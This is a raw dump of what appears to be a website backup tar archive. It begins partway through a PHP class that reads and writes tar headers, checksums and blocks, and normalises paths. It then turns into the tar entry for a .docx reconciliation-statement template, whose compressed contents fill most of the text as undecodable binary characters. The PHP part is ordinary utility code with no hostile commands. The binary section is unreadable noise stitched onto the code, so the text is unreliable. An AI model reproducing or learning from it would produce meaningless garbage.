		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
shablon-akta-sverki-1-1.docx000075500000067236000000000000011546 0ustar00PK!�ˬ�	[Content_Types].xml �(��VKK�@����Wi�U��=�8������]��S���I��j�5x	$3�c�MȌ�o�d/���`�|�2p�+��{|���,�pJ�`+Hl:9<?����.l��9OrV��pT)}��6�y�Ý��\z��p���/�K���=��D0�euc�U0��R ��S�T���랴�!Q�;���-E���ND�������+/�����4;|���|����enM�T��n���L��5\#ػ�C�m�!�� ��&�o�H�2��>���]	Ї�
s��W����y���{t�8����8Փ�-s��q��ዃ������W���5qG���_�t�����9�3}8�P��@����&�i~���?��������C��N?�F������D�ڡ�׻����PK!���N_rels/.rels �(����j�0@��ѽQ��N/c���[IL��j��<��]�aG��ӓ�zs�Fu�]��U
��	�^�[��x����1x�p���f��#I)ʃ�Y��������*D��i")��c$���qU��~3��1��jH[{�=E����~
f?��3-���޲]�Tꓸ2�j)�,l0/%��b�
���z���ʼn�,	�	�/�|f\Z���?6�!Y�_�o�]A���PK!1���V�word/_rels/document.xml.rels �(��U�n�0�W�? ߋ���C�\�J��T�Ձ塂��M[��Q�i�Ճ9� όg��f��6�HU���<y�˘��/7�S�x��!&=(�M��6��0ԇTUw��,\ŤB�(UY-S���/��-C]ʒv,�d%�(�T�$9��vyL�.�i��EQ�<����	Z�AjF&K@�9ԑ����W.
�c�
LF��©	���j�pBl�oDhmD�M�ze3�T_a߀ف���ߥ|vP(��6:�	�5Bk��ڥ�9��q�k N��H�@ܹ�?!��5�`��º o]���b;�����A���$P�5^��<��	z�'���PK!\��0Fu�word/document.xml�ko�����B�R �H�z�[��`Y8i�~�%��B�I���I�eC�&ݺ�(�:�/pS�����.��~�D��)�I� �)^��s�y�C��O�*��f]�2���������B��k�Jδd�&���,d3�������|M��4��0͜�kV2ۖ՜�f��Ґ͹F�j覾i�U�FV�ܬW��nԲ"/��S�Ы�i���ڮlfp�h�j���'�R��-��߂!�
$�-gK݀��0���
*�7�B����^U�|<H��A�!�A�uC*Ń��N�nכ��/n�FC�𩱕m�ƣ��-�)[���Z�0L���ڣ+³<�\�o�lC�)j��B�2;�6�̿��'K�g�;È�?���(�y�PTL]3��MO�q���.��^H�6T����Q\���
#e`��;�o�l�!
|�! �Q��Nw%
̅�/�E�6�
�@�P��#���Q�g��1����]0�A�%�{ͭ���SC�i����v�%�{�
���vI0[�m��UB�:gK�
yC�+�<�a6����xW8"t�E�*l�r�6T�p�p>ܷT<a~WV2��󪙬sC�/�ʦ�f�ʾ����S���v��nYz�5�i@��u��VŇ���[���|���U���7~�DZhI�\��r��6��w���n���ھ�]_���.=ӛ.r�v�Bf��1t��)WLUW���Kg��q�2ĝM�wr]3�5�`�ƛ��"��zW>�w6l�6�J�۩����*^Z�07�i��x{r���Y�bEWw�]v���M���f��!;Z�S�^#����(S1��Fs�b9`X�Ipǰ�KA7� ��ts9p������D>9_��`�pi`1�qHmS�/K���2r<�c��,�P�b
��J;���:d��*��9�V�n��MYs�	
�j�LkuGQ��7�Bo�'^�(Yq�wh��ܤ��.��-oE&��%���t�3��B踾�l�;�E��Jyսr�U���T�n2XDְ��MK!�@Y�N��(y'�;����OUw�U�)��7�i��e�f��
�zC1�ϔ=n]o�T++X��̺xq{	���+U�{�m�[1��|�Nt��|\!�2Ż�c����^QT��؟�����Z����>=�Ҳ����IQ�tR['� nq�\K�4S1v��"w��{��w�|��u�60�G�1g�dkz5+W�[�b<�g8��F͙b&Siʆl)���g�3qRQ_�[���Qp��t��"Q�E�
���á7����5>���Y�'E��C�hh�6:N%�0<�|��a��i�Ƚ�_a�EYrk)t/R�POJC%z�~C���C���Ϝ}���'�stj?EW�-�ޣ+�~���(�_�Ktf���1�����{Tz�$���@��p��.����{���� �%'�"?]����8�V�6��Cd�:E����z�tJ�6�0���b/�XǞ�K͡WS&\>gzm�'N�xLS��E˄����v���2�Dz��G�B�arL����B-�y';�T�G�A��T Я�A���$�[���W:�v�BM�v�D:��5�����hh~��:��+,�لP�],哨�G�B���ٗ������ZBJh�,�`��W$������W�iй^�ަs�1H��e|El���7B���B�8$�x�^
��J��Ryib���!���e��IJNg�WtJJR�$M�'�����O���&�Ю%%d��d��o�!�^ه�3݉�5fķ���"�X�c3�ALg0�2����������/���ɥ���9�����5�%6L�X_\`}����+�C|霱�5&k%'��Ѽ�>Ef�L}U}f�6]��rM�әY!�[*'���9�>�Qp��1W�H@����~�~�ӳk�J��̭w:\II�]�풶�ҦW�ox�n��k#�o�_wNn{��h��M�~N>uuˢS.b�-�)�N"��;�~�\>&/��x����K9E��Ȏ.G)�y�Vפ(�|.JM�B#ӆ�p.Ÿ
�`��RN*�/�XZ�Eq5��	a1	�v��r��0{�/��RNtԩ��h2�nf�d+��CL��M�GA�џ�}�9�
QZ
�k��ke!�+�*����,L�����^z0�D�p�n�ﺐ�/y�:g*|��4K
ܪ�Ù�9�>�Ծ4`���W�s�}��a�1_��������"�N�M�V�伮�	��O�/x��&1�W��{z3��9�hl�g�)њ�����G�o�64��,,�K�@�a�3�G=�"8���փG��m;I�]�8����9�`����|=0�t0�@��P���NN��{��P'p9p�H�3`��
��/�
�@[
AF�ɁM1�9�_�]gmORE�+ރ��ݪ�Y��j�r���~ʸ^tG�q��*��WR(>�)ڭ��$TL��1�:}�x�6��$��6sr�6`C_���c�����'���Y<�n�8�=܉C��K�ya�/��|�T_�͑���8_ZVy�z9,56/ω�1#Rq���	m����o�,k���Ge��c~����*cM�FOm\7$��觎��*�*4؉����-W�<^n�-�s�FosG�{Ǻ��A����(F�r���"uEp%!ծ�T�q�E5O~xΒ�n��(�s]ևtn�$$k��J2��=M&#}�.H�`�~�]��]2�J����_}��˚��B~qN+#���s�S��4e,wJ	�&�6�9a�J��`/άiM����y���K��Ī�8.g4N�Z�djEMC�7W
�l��f�oɆk�����/&u���"�U��\����1������~�-�1\|��Hc���~:��W��=J�]���<��jԘ�/�Y �yhJ��hJ��)�R�e���7�R����)%Y�44�@S
4������&Q9���f��h׀v�D�b�VЮ�C����k@�ƌ�w
�5F̃4�Q�]�5�Ѯ���v
�@t�U�@@#�4I342���'����>42tKB�N�R���CA#�tz�a��L#�(A'C|���ɐh�z(A!�^�N� &�$V��xc�8:��a8�փN�d��NA'�(�y��1J�,w2��2@+�)HA@
Z&����@�6��B+�����-	�Z85K1�2�2�5�V�W��~
�2ӽ
9!�
P���R*;~3�C�%;���k$��_�I"���m��s!��G&���S|1�t.@��pp#���'��CGW���M��ubw�泱��	��3��WD�d(jBz}��K��6<��=%*�6k��n��>Խ��w>\B9��`���=!=���P���R*R������-]���� �(C���ω5��Ts�����a(�փ&�^�Q�������}�����v�p����MPK���҇ס/������'
M�a�� ޚ��B��r&��=,*cτq��a��R*R�������[���5$��]َ�������#����h�9V,m
��0��A[C/)	m
����m
Ӿ����I;S�~E�M��H�O_zi�k�ᙵ�m1�����7���A���d��?���o3���~����1�ޣS<r���I�*��A1a~]�Z-��P�����s�� ��mx*Ơ��q9�di�ր /��6�퓩�C���3��q��;�d�����	�D/i�:H�4�t/iNu��s�*��"(G(�u��h6�x`�&TƳ��O�1��ι�
:F���]}ġK��9�8'�?�ՙ���<.4��K�pDF���d�B��ߐ��v�ՙ@�{�<�z�)�Do�pT�F�^GJ��ÆJ�xĆz�:Pw	r�}=wX��
c����˺QS��鄝�|M�2�|��t��������`Te�C����e�xs)gǛZǛ\Sn2�a��l�I����G.,^Z��6�i���G�.;g��]�ihm��z���^���w���	�5xl�)���G�ua���Aj����O�V
Ry��l,O[ΉK��xyZ�͜˪�}�ݯ�۸ta�L�L�N&��r�!8]R�$>+���� e�b�/vIO����5I(��c��⿝�+m�u
��̰�����.2R!K�
�l8��KG�
K�R�'o)ˆ"�v/�yzt��8n�`��~��u>]�A/���B�0����B	Aedj��h3�b��_`�y���%���o�!�^ه���	��O�[tf?p��Jq��ҝ������?���[[O�F�+V�Z�瞠����C��쪏+ǞǶlC�}�j�j[�RQU-�?�))Y�_�����C�	Yr� �xf<��s�sf���Yk!Q�H��[�P�ʪ���a��[��J���k��j���"leIA
�lg�V���;��2��,^!���B���"1�d�!P�Iz)psk��+R���#�)k��)�h-dZ�F�>
e�9n�_�[|���\�+��бe��6Ce3I�g�������W M3*��,�?�?!��D�?q��;jEu�7�{l���&)7[-�c� J[�pZ77QQ�Ӝ��9
i6��LQHMҁ�x>Db�H��>W�
D��%3�{yORYҝ�����_L�F������Z(���K�:T�Hސ�����V8:�<�������W�tz�02?/��!^��1"�-��
� ���om��/{v�Yf!E����� 0_B�����5���{���\ lC��_�'>��=��lgR>��{L< �V���q�5����*dF��>���%Q�C���<d"5�@=�D�'8<������'8<��	Opx�3���/�JQ8��H��L��Z�T%oJzSO�)L�Ƥ�o_�`A7��7,�\����.�{,@L���+h'pʟ�iк��&��ّ!M>	�ݝ��N�ÖiF1kЙm�,��w$�a2͹62�0��`Ճ��~\���,L=�@w���xuf�5�/n�"���L�_&8a��4�[�X���wdϜҺ{����M�g��
�pT��cMݟ�6���*�_�7�n	���)�ՠ�#�3�1U���r鏆F�r`�!<��Ǽ
?qiG��>i{jr���>����M��#���<�X$KO���g��d���Xsc�R�;o��y�É�Nː��U>8����U�Qϔ���̍�Nc�U��>����N�����c��tv���h��
Ax&;@&�8��ǎ�����3K]����&���9YA����w�>	�wp�͖���`�e�ڥ��pKU��hu���~a<��]6*�mVW�-iż���
���ڋ��m�pQ���)�m���nvu7xN�_���
4�"�ߢV�Dc)oP�L���uPu󁹂�8F���|����f���Wm��>_w�fϦ�Iq�zb��b������#h2�j><M>��G›�7��`����_��[V2����<3�:[
�׬��ǥ�P��k�e��޷#1��\�
�`ak�j�-�k���\0j�Y."��p4�N�!� IA�6*"�2|�G��g��"�;%�Tԫ��$n����բa8t�~�ug�ao�׀��eڇ�CG{'�R��)y�&��R w�7L��a�HHAu�-K&�&o(У'�Y�^"jr���
��o#t��e�p*�ɩ���uL�f=�vⴟҞCO=,dC#��9|R�T਎�r%�[1��J5UG9ՑA�h�v���Y0��.�+������PK!ĩ���word/header3.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!���k�word/footer3.xml��n�8@��W�E"K~$6*m�YLjL��%�V+>J�v�+����?�n��?84�zفj��t���A�u�}�^���ܳ-�ұ�>v�[Q�0�S��^�b�
�!I�>^Q��_�x�DF!��z����g�ȁ��`F��,��"2ǁ`���8��R���Zn+�I%�5�:#|A4�q�}=Z���-��3���0܃!]��VA^x�UT�`TϱVU@�F ��B�6#���^3�W%�4#����f�J:�j�I9,FB1b`��#��\XO�$6+`�z��c�@�$�vx0��a"�I;,(��s���Q)oMd�_!����D0g���sG�b!��Ų�p֔�����Ă%ž�tk�ˮ�i��r�c~�d��'��'b�D�,,a��ōB�\��R�
��5S�`d�@r���a�n��+�)���>-[.���
-~�jS�K�>��g�v%�s3#���\(2I�"�!i���-�
�E���JС���v��`A�v;^�Î�
E0�������$	U�b��L)���	�V��1�!!;���ǟ�f��dg���p�R9�	n�#	�A���V���	.�F4"�Ĥ+���:)3��1�����!(fT<�;�"i%�|oPٻ]I�N�R�����Ɣk�n齱�<В -�T-("(���Scu�����Z�����?�o/�o�>��=�TE��Q�;�wS�*�(.�J�(ȋ���50���Ψi� a#��?_>������=����\�����J+�w��#/:n�妸g^4�#� ��N����ݗ��w��69Vhe�n����E�}Ym��eeu��Rgd��?��PK!��\dJ
word/footnotes.xml̖͎�0�����U[�jo�������o�qB�m(
��K�홟�3�1�?�Dl��\���!
��*�r�@����P`�	ɔd�g=.?�q����1Cڸ�t�6��cK7L��eU�T	�ҔS�e<�������Z���[b�Gw�h�!8{��
1��N��f�?�Y4��Q5�5�^U4�U
Ҹ�Bp�n�A�4�F6I�n�F9�f�+�$,���`h�X���5q��g��Nj��"�:�0��0�B%,&5E-Pnd|������?�j�&��e�h.�te�ذr���p}�pѕ�����Vd�]������iU��l#���Uʯ��ʼnx�ѣ���{�JT�i�N�9Kn����`By˒�U6!�<�Xvf\c�^�Z����Q�>�}��S��o�֡��;��'�uC4\	��Ok�y�@�Pe�'�p*�o:�<�V���5�[��!NS��{Qi�a#�����t�u8��Ԋ�$�\s��O���G�
�l��jBA.��1��B�q����8xɽ~�;��r�����Y-�ʠ|�1]��*���K��X�2ԋ���}6��?��PK!��*4cD
word/endnotes.xml̖ێ�0��+�"߃�����ޭv��:���o�qB�P�Mor�g>�3�q2܋4�1c���C0IU��f�~��ћ��:"�*��,z\~�4�c&�� ��sMh뜎1�t��}��QV�]�*��z�)ù2	�QX<i�(��F�Xt��};ZbH�8�tK�c����<k�@� j��7�&ثj�F�@��Aw#]nҍ4h���H�&i֍�('�,p���ɵ2�8x5,�y�t��8��S��'�p��Ax�b��L�b�����(32>��N�^z\�o��i�R4L�"rlX
�P�n�>u��J��m�]b'��.�Q�v���*SY��?�_�����(l�#q�h#�㚕UX/�)5gɍZ `�L(oY���&��g�nÌ+�=���s���Z~����=ս����
�c՝w��O��h8��6R�"��� (v�_aW�thY�*y��-����!�񽨰��
�"�����t�u8��Њ�I���̳}~��%���Մ�Z0"k���
�C�}����K���)��s|r/��rʔ�ҥ訒�ˬ8�^��4�/�(�J��]���PK!ĩ���word/header1.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!ĩ���word/header2.xml���n�0��W�;D�'P��X�U�V����!V}��$�;		a��*��0���3�7�G)��YǵJP4
Q��)W���~��Q�<Q)Z���C�ۇo�2�R�Z��44A��&��ьI⦒S���)��S�KmS<���d���9X�;Qq����0ZjI	�
��iF�gǎ�Y�'��f#@�,��7���r�=���i1����H�>i5�4���H�r��׆)��k+�����%������?���p�bW�#��B���f�
K�21O[�NPnU��'}e=>뛡U�!�%;Msɔ�#ǖ	ȅV.����r,
&�R|D!E���D������8�~�)�ο&F�����:�P��£Rs��h��f=���%�2�لx@y�q�6̢Ÿ��Z�4����չ�h�>�k�e����T�u'��̼e�� i�zPڒ���(��ށ�	�TM��pK0A��"���0\D��i�ڟvlOr�fj�O[o�$�D$���np3[��� �?��PK!:�8��word/footer1.xml���n�0��W�;D�'P��X�U�V����C��$�x������n���0���3�7�')�#��k��h��)�S��	z��2Y��y�R"�b	:3����6E�y�Z��04A��&��ќI⦒S����j�u�q�p�m�gaV��Ք9K}'�H�q�ԏ�ZR��>b��٩eD�!���]�l"�E]�|0j�KW��(���H�n9�4�V�H�.i=��)'�-pm���L[I<|�{,��<�	�
����
�p�9���9OVXꔉy�Pt�Vŵ~r՗�㋾���E��� ��U��2�����\;\���d�@�_q���_a�����iwIe�c�ο�_��ǎ��������l�H��v�Q��In��i�`Iyϒn�lB<���86�h0�,�V/��j�a���4~��|`�Uw�	�>3o91p$H��C�#��� �v�|®eӡ-�LP�p�H%(�<zZ����A���J��VÛ?��G"D��
�g˱z�d���PK! 6@�I�word/footer2.xml��n�@�����W�"16��Q
i�ESԐ�18�\:3ܲ���{�
�k6}�F=ccl�GQT����矙3��dABc���a�40u��qǼ~<82
��P�(�K,͓��7�󶯄j*�s�v̉R�mYҝ`��!	\�$�աˈ�|?p�5g³��]���`.�R��!i�q��hb
�Y�	�)��R�Z�Q��;���jX�UT+W9R��/�k�#9yR���'�#�ʉ��qLa�g� �bl$n����`��Z��H0(��%�jC UooB�"��a�K(�cNm����ގ��D!��?��;%��h�!��r��	'ei08I �]���0�ݜ���S�/e
,b��$���&ڕ;�E�9'�0M\ji2�kl 	��nP��F��0Pf8'�$�Q�����\�)Oi��h�ٟ���u�eO�|���	���۾S&�(GPC����]1�3�� =��}���3�ˆ�4�Ֆi���t�ϣ���9
C,��`��ظ�����>0�1�o�-�5
�N1D�m��1g��H7=F�ݞk�J�ᴜ������c����1+��i��n�I��}4
Uf$R�L~��!N�"��q������F}(]Rmɑ��X̰�]�|���mu���zx���7�NE�X��Y����ȍ�ѣxjwIv���w=��X�^���j���i����ֿ����I	�J�Bu��gz ���s�9H�-�[��݊wq+;e����Cu�W�L��<Q7��a��+���O�^��̋�n8I��t��vW��v���PK!�^}-$�word/theme/theme1.xml�Y�nE�#�����;M�:U��-�i�$-�q�;ޝfvg53N�[��@��8P	�p@@�qi�}�B���fw�{B�&�
�w>~���_�3�O��<iz��U���M¦w}�{f�CR�$��'��
��.����y��"�\�M/R*]�T��X��)I`��E�LEX	>�1�,T�K���C	�����O�G�#t�ߧ>��
�_��z�gbGs'��OGG�ǣ���'w`���`��r(�L�}̚���.��<İT�����U��W�DLC[��ON�{�N��1a�[_9�1�oL��:�N�S�3�`y�K[�.�Z�(��nWպ�/�_����Z�Ɗ�7�lX��/W���ހ�acV��z��d�
(.���V��6ހ"F�����82cH��KN�2�����*�l��5o��] 0�Ɗ&H
S��>еq�k�x���N��˙%-I_�T5��SE3��x�G��ÇO~z����T�p����ɟ��?|���gn�,����_��2���G�=<z��G�w�_�W��ҘHt��m�a�'^�b7´L���'X�8�Y�C���X��=xC@Kp/nY
�Db��x9�-�&�ŅӦ�ZV��$t�2n�}��T|;�r�HKK�-!�!I�Bz��� �I���M�.y_���0u�d���l�]�1�e�R�m�f�jq�b�A�m$Tf.��Yn��
�N�q���+XE.%w�·.D:$��N@�t�\CK��z�3�l�H��ys^Fn�v��ԩ3M�2�=�)��WN%�]!zq�ɱ�A���uZ*MD���$��q��敩^���7�й3	�׸�U>�򾻳��-{�^���n����s������y�-ှm�o���9Wϧߒ']�ɋ��a�}
�S�vԐ�+��s	�]X4�d|	H#��-\(�#��TE;NAl�He�:�(��f��[o��Dek���	h�6y�-/�/�c6f�p!hQ3�W�⹓	�e�9�Ռj���&;��G�M�#������L4$f$�~�a9��$���{֐���n����h�'�6O����Lj+�w�(&Q�u<U�,�g��j,4<�����8~R�.�¤�*7��<m�;-k�c
�D�B�
,���l�D,��Шk?���n4��˵Q�(����WǬL��("v����@lc�[�*�P	��kz"�B����ϫ`�7��:0K#��$]���܌�:�YI��lJ��4Ŕ�)�RN�):s������ѦDž�8t�4�~W�A�����V	1���֕�O�V���`�6
����T$�R��/aV˻b^9��όՕi��}�vu�.i�=�$w��M͞��腺P�ԓO�6�z<����Vj��W���Tx�Wmֱf�-4�~զpmA�7>��/�]�
�G�8Q"H�3��R�F=�9[̤iV���5	�X��q��������^����u9���̖h�t�1���x��ހ�Ҁ)i�#���.��>�DC����PK!ae��VIword/settings.xml�\Yo�~��@�94�>KA��;	By�Ņvw�CQL����=D��:�?��|���U�uus������C?�W��%��]^��Ű\m߽���/��]^�n���ös���/�����f�O��� ��f���a�v7���C���
�~K�0n��~�]o����j1lvݴ�[�W��`�\��o.��͉��f���p?�Cn���բ?��<b��y�C�x����0�د��a�X�gj����g"��">l��8���>
��ӈoao��E�ߓ�6�3������+B���>-�@��sv��s��# �"`�寣aN4�i�gt���#��d�ϛ���~�-�=B?���n<�I���͏���ݭ����������[�4�����ͮd9�������p;u�~���a.�}Gԟnލ݆6��a̲����/���4��-�2w���q\-��?��ԭow݂�_��闫�n�=���_�������ԏ'z�����r��0%��#��q��r�}�v}>2���p���V���p�$����DNg�Zn��4!S~�p�H<��ô������q]��ܯ�|�zl�]~��+:_>=��b�ѳ��t{�4d�m�2��|?�~V��v���Ϻ�=���d��R�8LӰ��y��on����R�X�1��7�U�R�*4xD_��Ɠd�B�5Q^7�٢��\8��5½���aj�1"��QI��1��c9���h�L����1�Bj��R��e^#&���*ւᮡS#��2�J{<�U�V�h�05�d�ԜNK�s.��U�	���u�
B�5�
�[��cmG�E
j�<&���g.�)��F�i�l�mP�\aY�*�v���}Z�+XE��~�1s]�Xs�%�wV�b�V�5\)�Z
�S΍Ӑ7r�@޸���H���+s���!�x�.���+&�!�e���1%�X�0�E���^���A�↥�@�X��֜�)�Z��n��16q,Q�YQ�S��ت��SRq�C)�-�䰅Dr!p�(
oP3:4����O�5a�I�z�Ҥ�j!9a2�'����֥���ʼ��T�^i��TI�K1x�Ն
���Q��#��x/N�Z��#D�F~O+��i+����m�9
�\��i��(�c���:�a
�Q��=� ���N	�W��1VF���8��CeO�:�5����+�xg�@�s����J���WH��Ɋ	<O6��H!�!$�,�2���}��6J8�$+�/�3(B�s�j&5	�S�r!��I��Ij��1�I�9��I륔�^)���+ՒE�(��@+/���1:�J�q>JH‘VZr~x��mxh��d�em5�qA:UpN!�6x�H/(�ˆv
���B�d��ŕ�L*Hlo���m+��L����X�E�%�%؏�:[O�K��Z0�U{�e��b�!g�D��Wjl��;\7��e�򦄕�#�9��<D)VpoC)!��TJ�	S3��e��Q��9�q�T^4v��(h���X)e��+��$��Td>ajQT\����J�U�U�E��:*��!$;��"�=��m�z+/�bQ��4c����z�l�P:��+���\������l�T�Y�uj
�X�ZJ����
ϣX�p/h��2Pd�x=Jg��kE�7�Z��N�nu�5	���c=!)bh������f�ę!�!#"�hj�[c,���ig���J{fqgN{��k/��:P.��O�|�1Fg����U�Nd!X�p\c�"3��A�t�
�ʤl���3W���H�9J(,��)���� ׆,>�1Z$��B��c1�+j�Ԭ���d�`8"$������Y�r#o��9�;��k�qs�Mĝ,�kh.
Rw�Z��z�a;����&np�'1�|^b�=�e�U��d�q���qU`��ll �F3�Ű~����2+����AB�-�lov�[P�S@�\[�x�\[a�R[a5��V����U�[b�
ja�Eah���V�(c��
����z���ִN�R�J����j�v��ȋ@O�Z�lݒ�x=^���R��OIm$��DJ^����9�Ͳ�j����ͽ8�Q�fP?��=>�r�5�P7���N9��9න��>ub�� B�T�c$w�+�(�Ɲ9*΢��tZ�S<d,��q>�R�v������P��bh���u�5:���FǑ�ŵ3%���}��K���;�k�s�r���磎�z\�8�>-wA膽�8!${�ud���"�H
D7z�.��ٻ�B��˦��"=�U�hѐh����)���B5�g*�8GEN�x���6|��ĝ���!�b�yn��+�&�<�S��N��g�^���?����y��"hh�^��a�*"���<
��h��1�u�UpG��ұ��BO2�<�ǸK�ɷ�Μw���p\�2p�O���LS��C���a�s���]���(�'��{>��k)��v�()��N\��'
�X?IdžUz���*�����0�"���i�)!�7��ܰ��3�	y��wS�D�|sz����w4�`�� x�p��;���:�'�
�R�=h��|0&�N0���6!	�5�$�ys$ ́��z
^'s��mmp�·D�dk�e���E��d�ƚ�R4d�)!�c���Y@��r�[��w"�9�.N�L�|4R^�#S��ƹ*�Ԅn��R�瑺�XB�D�LT�ś�{
r�
G�hd�r���1O�!�*�#mԆt���%+�7��8{�II�c&C����O�cG͘�
��Ƭ+���w8.Ģ����o��e��bK�<��m�e0�J�`T[p���K�p�40�-�=g(������w�(	��D 	Qp]��"��P����Ź$��C�+�^HJ5n�'e���4e��+'�<>7#_p��*���|�#�Q�QqʰKe�8I�0ܝLA|�%#pN�"/�[&����bR$�b-D[q}��`�"�-DBBC�IzܫI�F|����
�5��'e-��*~�]I�6��D�{��d���LI�Wef*�����g.
�����8�ʂY�_g�8�"�%Ogi����e5�`Dp��V�q)+#���yi�G��]��U�X��Iq6�0�mSܕ�Fܻ͖b#��)��$�W���ȁ^O���`<��(�"9�F�*G��_��$8��3�R�tN�5��)�1Yk|R��

��l�Ug�ePMŝ�¸�p�N�
�V8���1�aONHű���;E�c}��S�"��P���7�=>/)N񝟢��
DY�P���|����Ւ��<���3�0��\�/�J`Dž���4�U%PɄ��8�2�$��}%Y���B�G��g9%[��5,�
